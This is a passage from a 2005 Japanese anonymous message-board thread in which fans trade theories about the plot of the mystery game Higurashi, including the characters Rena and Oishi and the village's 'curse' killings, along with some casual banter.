ガラスの意見については初めて聞いたが、なるほどなだなｗ にしてもプール倉庫でバットかぁ…うーん。 163 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:45:27 ID:lQe+IvM+0 >>162 レイプって説も捨てられないわけじゃないんだけど……。 前スレに載ってた「公式年齢」（真偽不明）を信じるなら、 当時のレナは１３歳。中学１年。友人も当然同学年……だよな？ ちょっと厳しいような気がしなくもない。 それに、レイプしようとして豹変、となると、 レナが「性的虐待」に対して何か相当のトラウマみたいなものがあったんじゃないか？ というような発想になってきてしまうんだが……。 プール倉庫に脇にあった野球部のバット。 プール倉庫の脇に野球部のバットがあるものなのか？ それは謎だよな。 164 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:58:49 ID:x/u34u5y0 >>163 １３才をなめるなよ？ｗ 昔、一年くらい１３才だった俺が言うんだから間違いない。 まぁ、それは冗談としても、何かの引き金があったのはまず間違いないよな。 男３人が口をつぐみたくなる何かが。 バットは、そんなに重要でもないだろうけど、男が持ってきてたって感じかなぁ？ つか、過疎ｽｺﾞｽｗｗｗｗｗ 二人しかいないんじゃね？ｗｗｗｗｗｗｗｗｗ 165 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 12:59:10 ID:h73M57QW0 レナは「裏切り」とか「嘘」とかに関してすごく敏感。 今まで仲良かったグループに裏切られての豹変なのかも。 俺もレイプ説はいまいちどうかなと思うが・・・ 166 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:05:37 ID:TMWLI6Zw0 俺もいるよ ぺた ぺた ぺた ぺた 167 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:08:08 ID:lQe+IvM+0 >>164 そうか、１３才ってすげーのかｗｗｗｗ 俺も昔、一年くらい１３才だったよｗ 口をつむぎたくなる理由が引き金の所為とは限らないけどな…。 例えば、レナがなんらかの方法で口止めしたとかさ。 バットも深読みしようと思えばできるんだけどさ。 レナがあらかじめ用意してて、計画的に殴る予定だったとしたら話はとんでもないことになる。 過疎すげーなｗｗｗｗｗ俺は初代１だから一人とは数えられないも同然だしなｗ アレか？ 俺が萌えキャラになればいいのか？ 今から一人称僕にすればいいのか？ 168 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:09:54 ID:h73M57QW0 うはｗ お前前スレ>>1かよｗ 169 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:11:19 ID:6CAw6bnSO 授業ﾒﾝﾄﾞｸｻｽ(´･ω･｀) レナはレイプされて(されかけて)頭おかしくなっちゃったくらいに考えてたんだが、 ガラスの件はなかなか面白い考えだよね 三人が何も喋らないってのは何か恐ろしいものを見たとか、例えば梨花ちゃんの予言みたいなもの聞かされて余計なことを喋ると命はないみたいなこと言われたら何も言えないと思う 駄文ですまそ 170 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:15:07 ID:lQe+IvM+0 >>165 ふむぅ。確かにレナがオヤシロモードになるのは、 圭一が嘘をついたり隠し事をしたときが多かったなぁ。 （といっても、これが圭一の強迫観念による特殊なフィルタかかってるってなら関係なくなるが） >>168 そーですよ。僕が前スレ>>1なのです。にぱー☆ >>169 うむ。何か後ろめたいものがあったのか、 或いは恐ろしい目にあった所為なのか。 大体この二通りだと思うんだけど…。 171 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:20:09 ID:x/u34u5y0 >>170 ちょっと萌えたｗ 172 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:22:50 ID:6CAw6bnSO 1の姉さん、俺は朝からIDで追ってたwww 次の授業受けてくるﾉｼ 173 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:24:18 ID:lQe+IvM+0 >>171 萌えるなよｗｗｗｗｗ てかその萌えは俺の力ではなく多分梨花ちゃまの力だ。 だが俺は梨花ちゃまは、通常梨花ちゃまより黒梨花ちゃまの方が好きだ。 174 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:25:17 ID:lQe+IvM+0 >>172 何でオフでもオンでも姉さん呼ばわりなんだろう。 まあいいや。いてらﾉｼ 175 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:31:30 ID:h73M57QW0 俺が支持する大石がエンジェルモートで圭一に薬を盛った説だとすると、 レナの最初の豹変はそれ以前の出来事なので、 レナの（少なくとも最初の）豹変は圭一の精神異常によるものではない。 仮に大石薬盛る説じゃないにしても、その段階でまだ圭一は正常なはず。 と考えるとレナにもやはりどこかおかしな部分があると考える。 鬼隠し編でレナが豹変する箇所を考えてみると、 最初の豹変←圭一に大石のことで隠し事・嘘をされた（レナもしてるのだが おはぎを渡すとき←再び隠し事・嘘（ただしこのシーンは圭一の被害妄想とも取れる 前原家訪問←いないはずなのに両親がいると嘘をつかれた＆煙たがられた 鉈←ここだけが疑問。裏切られ・避けられすぎて完全におかしくなった？ 前の学校での事件のときと同じトランス状態なのかも。 こう見てると、嘘・裏切り・隠し事での場面が多い。 だから、この辺がキーワードになるのかなー、と。 176 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:36:04 ID:TMWLI6Zw0 >>170 いわゆる漫画的お約束によるミスリードじゃないかね 戯言シリーズで使われてたけど オヤシロさまがどうのと言っていたレナに襲われた連中が口を噤んでいる ↓ （超常的な）何か怖い目にあったに違いない と考えが流れてしまうような 漫画とかライトノベルに慣れた人間ならこう思考が行ってしまうってのを利用して 実際には後ろめたいことがあったから色々黙殺されてるだけ、とかさ 177 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:39:41 ID:x/u34u5y0 >>175 だとすると大石が黒幕の一人ってことになるのかな？ それがあそこまで執拗に事件を追いかけるだろうか？ （綿流し編では一応事件を解決してるわけだし） 俺はやっぱり圭一の被害妄想って説が一番有力だと思うんだが。 レナや魅音豹変は後ろめたさからくる錯覚って感じで。 嘘がレナのキーワードになってるってところは同意だな～。 178 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:42:30 ID:lQe+IvM+0 >>175 なるほど。まとまってて見やすいよ。感謝。 確かに、一度目の段階ではそこまで精神状態はおかしくないはずだよな。 ただ、ゴミ現場での「なかった」ナドで、 疑い深くなってるところはあるかも、しれないけれども。 鬼ごっこか……。 何かきっかけになるようなコトがあっただろうか？ この日、圭一は一人でがっこうに通って、素振りをし、 魅音に素振りやめろと言われ、授業が終わって帰宅。 気になるのは前々日終了後のTIPSに、「哄笑」があることかなぁ？ ミオンに「大石はオヤシロさまの遣いなんだよ」と言われることで、 圭一にも足音が聞こえているんじゃないか？ と感付く。 そして後はミオンがレナに、 「やっぱり圭ちゃんは大石に色々吹き込まれてたよ」と伝えればいい。 そうすれば、 大石はオヤシロさまの遣い→圭一にオヤシロさまがついてる という式がレナの中で成立する、と思う。 179 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:46:33 ID:lQe+IvM+0 >>176 それは確かにあると思う。 学校の方からの口封じとか、結構普通の理由の可能性もあるな。 実際雛見沢でも、先生が「雑誌の人が来てもいい加減なことを言わないように」 という軽い口封じをしてたわけだし。 あれだけの障害事件、体面が悪いからかなりキツく口封じしたかもしれないしな。 180 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:54:21 ID:h73M57QW0 >>177 ま、俺もかなりあやふやだよ。 ただ、大石が今までの雛見沢怪死事件の被害者全員と関わってるのがどうも引っ掛かって。 特に、だいぶカットされてるCDドラマで、 エンジェルモートで圭一に薬を催促するシーンが強調されてるのが・・・ そう思わせる狙いなのかも知れないけどｗ >>178 で、悟史と同じように、転校（俺は精神病院などへの入院を意味すると解釈）しないように、 相談に乗るとかなんとか言ってたのかな。 ただ、鉈がなぁ・・・ 防護用に持っていったのかね。 181 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 13:56:38 ID:h73M57QW0 ちなみにレナ自身は「転校」はそのままの意味だと思ってると思う。 どっかのTIPでそう信じてるレナをみょんが笑うのがあったはず。 でも実際は、精神がおかしくなってどこかに収容させられたことを意味するのではないかと・・・ 182 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:01:14 ID:p7mOCGoJ0 圭一のバットに対抗するためのものだろうな鉈は。 あと「転校」は、鬼隠し＝殺人犯の説から考えれば納得できない？ 183 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:02:05 ID:48cUbCxb0 なんか思いついたら話に参加したいが、誰か前スレdat持ってない？ 184 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:05:19 ID:p7mOCGoJ0 綿流しの日になら人を殺してもいい――みたいな集団心理なのかね。狭い村だから有りそうではある。 185 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:06:48 ID:x/u34u5y0 >>183 もってるけど、どうやってうｐしたらいいんだ？ｗ 186 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:06:55 ID:lQe+IvM+0 >>181 ミオン「あいつが現れると必ず鬼隠しが起こるの」 レナ「…………あれ？ そうなの？」 ミオン「リカのお母さんが入水した直前に大石が尋問してたよ」 レナ「…そういえば、サトシくんが転校する前にもいたね」 ミオン「転校～？ レナはいいやつだよなぁ」 レナ「圭一くんも鬼隠しになっちゃう？」 これのコトだな。 レナの言う転校って、実はレナが小学校に上がる前の「転校」を指すんじゃないか？ 昔レナは雛見沢に住んでて、そのときから既にオヤシロさまに憑かれてる状態だった。 「こんなところに住んでるからこうなるんだ」 と思った両親が引越しすることにした。 ……こういうことじゃないか？ 鉈はバットに対する対抗、か。うん。 レナもバットは結構怖がってたフシがあるからなー。 （ちなみにＣＤでは鉈だったけど、俺の持ってるソフトは斧なんだが？ バージョンの違い？） 187 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:10:07 ID:p7mOCGoJ0 オヤシロ様はいない方向でｗ ホラーになっちまう かまいたちの夜のバッドエンドに似てるんだよな、ひぐらしは。 どうしても解けなさそうな謎があるからオカルトじみた結論になる。 188 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:10:31 ID:lQe+IvM+0 >>184 アメリカの小説かなんかで「くじ」ってタイトルの小説があるらしいんだが、 その内容は、小さな町で、もう随分長い間、慣習になっていることがあって、それが 「毎年くじ引きをして、そのくじを引いた人が村人皆に石を投げられ殺される」 というものらしい。 今レス読んでそんな話を思い出した。 189 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:11:06 ID:D8oeFOGL0 >>186 ってかその会話見てるとミオンじゃなくてシオンに見えるな… やっぱいつの間にか入れ替わってたんじゃ… 190 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:11:07 ID:48cUbCxb0 >>185 つ http://www.vipper.org/ うｐできないとかめんどうとかなら、前スレの知識無しでがんばってみる。 191 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:12:17 ID:qCFFW3qj0 レナの茨城での暴走は大石のブラフじゃないの？ 192 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:12:40 ID:lQe+IvM+0 >>187 あ、186のオヤシロ様は、「レナが足音を耳にしたりしていた」とか、 そういう意味な？ 193 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:13:17 ID:p7mOCGoJ0 >>188 実際集団の心理ではよくあることだしな。見に覚えが色々とある。 194 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:15:01 ID:p7mOCGoJ0 >>191 その可能性もある。実際それがなければ圭一はレナに不信感を抱くようなことはなかった。 まぁ激昂されてびびりはしてたけど。 195 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:16:35 ID:x/u34u5y0 >>190 すまん。 そこにうpできるようにする方法を教えてもらいたい。 絶対うpしてやるからな!! 196 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:19:01 ID:lQe+IvM+0 >>189 うーん、「鬼隠しのシオン」というと俺も気になる点が一つあるんだよな。 推理ゲームの罰ゲーム ミオンのおつかいってことになってるんだけど、 園崎本家は、家庭用品の買い物は全部お手伝いさんがするはずなんだよね。 ミオン本人は買い物に行かないはずである。 たまたまお手伝いさんが休みだったのか？ 罰ゲームのためにわざわざお手伝いさんを休ませた、とは考えにくい。 或いはミオンではなくシオンだったのか？ シオンがミオンに買い物を頼んだ？ それとも作為はなく、単なる遊び？ >>191 …………そこから疑うと大分話が変わるなぁ。 で、それを行うことによる大石の利益はあるだろうか？ 圭一がレナを疑うようになることでの、利益。 197 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:20:27 ID:x/u34u5y0 >>190 おｋ行ったｗ たぶんコレで見られると思う http://www.uploda.org/file/uporg120915.txt.html 198 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:21:29 ID:p7mOCGoJ0 >>196 また今年も鬼隠しが起こる、というメリットがある 199 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:23:33 ID:lQe+IvM+0 >>198 今年の鬼隠しは鷹野さんじゃないのか？ 200 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:23:36 ID:p7mOCGoJ0 大体俺は大石が嫌いだ。雛見沢の事件への執着は異常の域だ。 明らかに警察官としての枠を超えている。私怨があるんじゃないか。 201 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:24:23 ID:lQe+IvM+0 >>200 私怨はあると言えばあるな。 一年目の被害者の現場監督は大石の知り合いだ。 202 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:24:59 ID:x/u34u5y0 >>200 一応、一番最初の被害者は、大石の麻雀仲間みたいだな 203 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:25:21 ID:p7mOCGoJ0 >>201 やっぱりそうか。鬼隠しでその記述はあったかな？ 204 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:25:43 ID:x/u34u5y0 かぶってやんのｗ orz 205 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:25:54 ID:lQe+IvM+0 >>203 鬼隠しでは出てこないな。 ４本目の暇潰しで出てくる情報。 206 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:26:35 ID:lQe+IvM+0 >>204 キニスンナヨｗｗｗｗｗよくあることだｗｗｗｗ 207 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:27:27 ID:p7mOCGoJ0 鬼隠し云々はちょっとずれてたな。 ……結局、圭一を活きのいい餌にするためだったのかな 208 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:30:24 ID:qCFFW3qj0 >196 圭一にレナを疑わせる、というより 雛見沢自体と圭一を分離させる目的があったんじゃないかなあ それと同時に大石に有益な村の情報を提供させようとしたんじゃなかろうか しかし、圭一が実際に殺害事件を起こしたところまでは想定外だったという。 圭一を疑心暗鬼に陥らせる効果を持たせるためには 周りにいる事件当事者の魅音、沙都子、梨花の過去を暴露すること 直接的な理由を立証できないレナに関しては情報を捏造することが必要だった そうでなければ、圭一が大石と電話してた時の言い間違いとか とってつけたような警察に被害届がでてないが個人で調べたっていう 発言の意図がわからなくなるんだよなあ・・・ まあ大石、入江共謀黒幕説を説く俺の考えだから、まあ話半分に聞いてくれ 209 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:32:02 ID:TMWLI6Zw0 とりあえず疑問になること全部書き出してみるってのはどうだろう 莫大な量になると思うけど 210 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:32:22 ID:lQe+IvM+0 >>207 レナの過去がブラフだとしたら、多分そうだろうなー。 話す前に「やめましょうか？」って尋ねたのも、 圭一の好奇心を引き出すためだ、と考えられるし。 ただ、レナが何の理由もなく雛見沢に戻ってきて、 何の理由もなく雛見沢分校に通ってるのか？ ってコトになっちゃうんだけど。 211 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:34:17 ID:lQe+IvM+0 >>209 それはちと厳しいな……。 どれから考えたらいいのかわかんなくなりそうだし。 事件と殆ど関係ないんじゃないかって感じの疑問も結構あるし。 212 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:34:31 ID:48cUbCxb0 >>197 読めた。ありがと愛してる。 213 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:37:38 ID:p7mOCGoJ0 「何もなかった」様な気がしなくもない。 集団心理から起こる連続殺人事件、それを一つの線だと信じて疑わない私怨持ちの刑事。 大石は、「事件は起きても構わない」くらいに思っている節もあるしな。 みんなのそういう意識が絡み合って事件は起きていたんじゃないかな。 余談だけど閉鎖的な村でノイローゼってのは津山三十人殺し事件とか、比較的よくある話だ。 214 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:42:42 ID:TMWLI6Zw0 すまん ここ目明しの情報も出してOKなのか？ 215 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:43:47 ID:p7mOCGoJ0 俺は構わんけど 216 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:44:02 ID:x/u34u5y0 >>214 三四と初めて会うところまでなら良いおｗ 217 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:45:33 ID:qCFFW3qj0 今最も有力なのってどんな説？ 218 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:46:44 ID:p7mOCGoJ0 >>217 鬼隠しなら圭一被害妄想説 219 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:49:51 ID:lQe+IvM+0 >>214 ・事件を解決するためなら、どんなことでもする行き過ぎた熱血の刑事。 ・事件の黒幕であり、入江と共謀して事件を引き起こしている。 何か２パターンがこんがらがってきてしまったｗ 「村人総証言者システム」ってのが雛見沢にはある、っていうのは 綿流し、暇潰しで出てきている話でもある。 園崎のばっさまの「憂慮システム」も、多少は機能してるかもしれないし。 兎に角、警察に出されてる「秘匿捜査指令」も含め、 綿流し周辺の事件に関しては、隠蔽できる土壌も、 誰かが犯罪を犯しても村人全員でそれを庇うシステムも出来てる。と思う。 220 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:51:22 ID:p7mOCGoJ0 熱血は違うんでねーかｗ もっと陰湿でひねくれてると思うぞ。執念と言い換えてもいい。 221 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:52:41 ID:p7mOCGoJ0 >>219 その背景あっての「綿流しの日には～」ということになるのかな 222 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:52:56 ID:x/u34u5y0 そろそろ仕事行ってくるﾉｼ 223 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:53:42 ID:TMWLI6Zw0 目明しのネタバレ含むこと言うから嫌な人間はNGIDﾖﾛ 目明しの綿流しの夜だけどさ 富竹とミヨさんの死を魅音のところに電話かかってくるよな 富竹は村の内部での死だから仕方ないとしても 警察が照会したばかりのミヨさんの死を知ってるってのはどうだろう 目明しで園崎の事件への非関与が示されるけどあの電話相手は誰だ？ 口封じを頼んでるんだよな、それについて 口封じがそのままの剣呑な意味じゃない可能性もあるけど 単に口外しないよう注意する、程度の 224 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:53:59 ID:qCFFW3qj0 鬼隠しだけ見ると大石黒幕説は揺るぎない感じなんだけど 最後の最後で大石視点のモノローグになるところがどうしても不可解なんだよなあ・・・ あそこだけ妙に違和感を感じる。 225 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:54:18 ID:w0TTPNj80 ,. -一 ￣￣｀ - ､ ／ ＼ |=＝＝=ミx,､､_ ＼ ､＿＿＞ｧ￢一ｧ―r￢ミi､ ＼ ￣7'／'／ //／/ ,ﾊﾍ.,ﾆヽ、 } // / /:,'/,' ' i┴`≠| i }`T''トrイ //i , ; !:!:| !:i ｜ | |,ﾊ. l. l. }::| ／￣￣￣￣￣￣￣￣￣￣￣￣ | i {. { l | ﾄi;､l_ﾄ､ | _,. ｨく!ﾉｉ. }:| :! l :| | 久々に竜宮レナ N.＼ヽ.ヽ.ヽi!.{::::ji!ヽ!.'{_:::::} ji.. |,ﾘﾉ ' , | | こういうオヤシロさまの崇りが沢山あったのが | ヽ" >ﾄ､_トﾄr`´:;i, i `''￣ ｲ/',.ｲ/ :/ ＜ 昔の雛見沢なんだよな今の雛見沢住民は . ﾞN l ::. ....:;イ;:' l ､ ,ｲｨ1 ｲ /| | 昔の雛見沢を知らないから困る . |_i"ヽ;:...:::／ ﾞ'''=-='''´｀ヽ. ／i l" ＼＿＿＿＿＿＿＿＿＿＿＿＿ .| ::ﾞl ::´~＝==' '==＝''` ,il" .|'". .{ ::| ､ :: `::=====::" , il | 226 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:54:46 ID:lQe+IvM+0 >>217 鷹野の死体は実は鷹野じゃない説もかなり強いな。 前スレで出た割とものめずらしいけどいいんじゃね？ って感じの奴が、 ・鬼隠しにあうのはその年の事件の殺害者説と、 ・バラバラ殺人事件の被害者は実は２人説 辺りかな。 227 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:56:27 ID:p7mOCGoJ0 >>224 俺はモノローグを見て大石の偽善的で独善的な考え方を見てさらに疑いを深めた…… あそこだけ視点が入れ替わっているのは解せないといえば解せない。 ミステリなら十中八九トリックが仕込まれているポイントだ。 228 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:57:17 ID:48cUbCxb0 全編のスケジュール表みたいなものを作って、全体を眺めるようなことは できないかなぁ。 ひぐらしって、基本となるストーリープロットがあるんでしょ。 229 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 14:58:29 ID:TMWLI6Zw0 >>228 無駄 なにせ裏表になってるはずの綿流し⇔目明しですら事件の経過が違っちゃってるぐらいだから 230 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:02:05 ID:qWIERkVO0 >>223 警察内部にも園崎家の情報網が広がってるんじゃないかと思う 実際、詩音がそれっぽいことを言ってた気がする だから電話相手は、警察内部もしくはそれに近しい人？ 口封じはいつもの秘匿捜査指定かな？ 231 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:04:37 ID:p7mOCGoJ0 大石がダブルスパイしてたのがばれて園崎に殺されかかったところを魅音が助けたとかなー おれはどうしても大石を犯人にしたいらしいなｗｗｗｗ 232 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:06:00 ID:lQe+IvM+0 >>222乙 >>223 目明しの話だから聞きたくない人注意 うむぅ。今ちょっとメモ見直してたんだが、汚くてわかりにくかったｗｗｗ ミオンの部屋で睡眠中、夜中、ミオンが布団から抜け出していることに気付く。午前３時少し前 ばっさま：若いのは出張りすぎた。 ミオン：岐阜で見つかった死体は恐らく鷹野さん この時点で祭具殿に入ったことはバレているらしい。 電話が鳴る。サトシ（？）が後ろに立つ。 電話、ミオン、対応をよろしく、口封じをよろしく。 ってコトで、「鷹野と富竹が祭具殿に入ったことはバレていた」 それで、今年の祟りの対象の検討がついていたんじゃないか？ だから警戒していた、情報収集念入りにしていた可能性もあるだろう。 警察の中にも園崎関係者がいるのかもしれないし。 園崎といわず、雛見沢の住人程度でいいかもしれないな。 何かあったらトップである園崎に連絡するだろうから。 電話の相手は誰だろう……。 そこまではわからねぇ。 233 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:07:34 ID:48cUbCxb0 >>229 話が変わっちゃうのは、作者のいうところの登場人物の初期配置の違いから 生じるわけで、それがどういうことなのかよくわかない。 綿流しと目明しの相違点を考察することで、作者がどうやって話を 組み立ててるかはわかるかも。 とりあえず目明し一回しかやってないので、もう一回やってくるわ ﾉｼ 234 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:07:58 ID:qCFFW3qj0 >223 過去に村をスパイしていた現場監督のような人物と繋がりがあったんだから 現在の大石と村の間にも似たような情報網があったのでは、と思ってるけど 関係ないかも知れないけど 暇潰し編で子供が誘拐されたことを知る、お魎のシーンがあるよね あれは実際は現場監督が大石から与えられた情報を園崎側にリークしていたんでは ないかと思ったりした。つまりダブルスパイ。 それが発覚した事によって現場監督は鬼隠し、つまりオヤシロさまの使いと呼ばれる大石の 手にかかった。（古手家が関与している可能性もある）って事なんではないかと。 235 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:09:28 ID:lQe+IvM+0 >>228 http://homepage3.nifty.com/azi/higurasi.html 見づらいけどいつの時間帯に誰が何をしていたか、は何となくわかる。 236 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:19:03 ID:lQe+IvM+0 >>234 それについては、連れ攫ったのが 園崎分家の極道さんたちだったからではないか？ 茜さんが「仲が悪く見えるけど、結構いいのよ」 みたいな話してたから情報は伝わってたと思う。 237 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:20:30 ID:qCFFW3qj0 >232 祭具殿侵入は鬼隠し（殺害）との直接的な関係はないと思うけど・・・ 富竹が一体何者なのかがわからなくて困る 事件の真相を探る刑事か探偵なのか、はたまた別のなにかなのか 238 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:25:08 ID:lQe+IvM+0 >>237 うん。俺もそう思ってる。 ただ、園崎のばっさまについてはそういう風に考えていたフシがある。 ……と思うんだけど。 ジロウさんはなー。何なんだろうなー。 ジロウさんて言うくらいだからイチロウさんもいるのかなー。 239 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:25:44 ID:p7mOCGoJ0 次郎なんて地味な名前が偽名じゃなくてたまるか！ なんちて 240 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:26:46 ID:2it8anVyO >237 ｢ヘアヌード｣カメラマン。 241 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:30:34 ID:TMWLI6Zw0 いま、ふと思ったんだが 過去4年の事件って関連性全くないんじゃないのか？ 共通点って ・一人死んで一人失踪 ・綿流しの晩に起きる だけだよな？ それなのに回りが勝手に「不可解な共通性」ってのを足してるだけなんじゃないのか 一年目は一人をリンチして犯人の一人が逃げて行方不明 二年目は夫婦が足滑らせて転落死で片方が濁流に飲まれて死体上がらず 三年目は神主が高熱で死亡、奥さんが沼に身投げ（死体無し、遺書と靴発見） 四年目は沙都子の叔母がボコられて死亡、悟史が数日後に失踪 関連性って上記の二つ以外にないんだよな ちょっと無理矢理繋げただけって気がしないでもない 村の暗部「祟りシステム」ってモノがにあると信じ込ませたいヤツがさ 存在しもしない村の暗部をでっち上げて・・・ 242 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:37:41 ID:lQe+IvM+0 >>241 うむ。ただそれのおかげで 「綿流しの夜は人を殺してもいい」という土壌が出来たのは確か。 これは連続性を持っている、と考えて捜査や調査をしてたのは鷹野とか大石とかだな。 そうなると「黒幕」なんてものは存在しなくなるわけだな。 この「黒幕存在しない説」をかき消すためには、 全ての事件において利益を得る存在を考えなくてはならないわけかー。 243 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:38:32 ID:qCFFW3qj0 >241 村（つまり園崎家ってことだよね）が鬼隠しを利用しているわけではないってのには同意。 ただ、暇潰し編で梨花が４年後までの事件を予告しているのがわからない 古手家の事件への関与、それに共謀する者の存在を暗示しているんだろうけど じゃあなぜ５年後の富竹は予告されなかったのか・・・ 富竹の殺害は予定外の事だったというのだろうか 244 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:40:41 ID:K1VSNUSH0 今注文したのが届いた やりおわってから話に参加させてもらうお 245 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:41:02 ID:D8oeFOGL0 >>243 とりあえず暇潰し編は無視して考えたほうがいいんじゃまいか？ あれだけ拒否権があるわけだし、とりあえず梨花ちゃんは置いとこうよ 246 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:41:24 ID:qCFFW3qj0 >244 ＩＤがＫ１ｗｗ まってるぞ 247 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:41:25 ID:p7mOCGoJ0 >>243 暇つぶし編自体が作中作、って可能性はどうだ？ 小説風の実話、ってな具合の。これならいろいろ捏造できる。 捜査ファイルにところどころ怪しげなところがあったし、ありそうな話じゃない？ 248 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:44:15 ID:TMWLI6Zw0 >>243 それについては暇潰し編についての「拒否する権利がある」ってのが俺の頭にあるからなんだ なんで、この話だけ「拒否する権利がある」なんだ？ 仮説どころか完全に憶測なんだが 梨花のあの予言は本当に「予言」なんじゃないか 五年後までの事件をオカルト的なモノで言い当てていた あの梨花の台詞で昭和58年までの事件が計画が既に立てられていてそれを梨花も 知っていたってことになってるんだけど、そうじゃないんじゃないか、って話 もしそうでないならダム闘争からずっと存在する集団があることになる 249 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:44:24 ID:qCFFW3qj0 >245 え？無視していいの？まじ？ >247 やばい、それ考えてなかった。ちょっとショック 250 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:44:31 ID:lQe+IvM+0 >>244 Ｋ１ｷﾀ━━━━(ﾟ∀ﾟ)━━━━ !! おまいさんのＫＯＯＬな推理に期待するぜｗｗｗ >>245 まぁ、何せ難易度が 鬼隠し編 ★★★ 綿流し編 ★★ 祟殺し編 ★★★★★ 暇潰し編 ★★★★★★★★★★★★★★★★★★★★ らしいからな………。 251 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:45:34 ID:p7mOCGoJ0 >>248 >>247の作中作だから「拒否権がある」んじゃないかな。 252 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:46:38 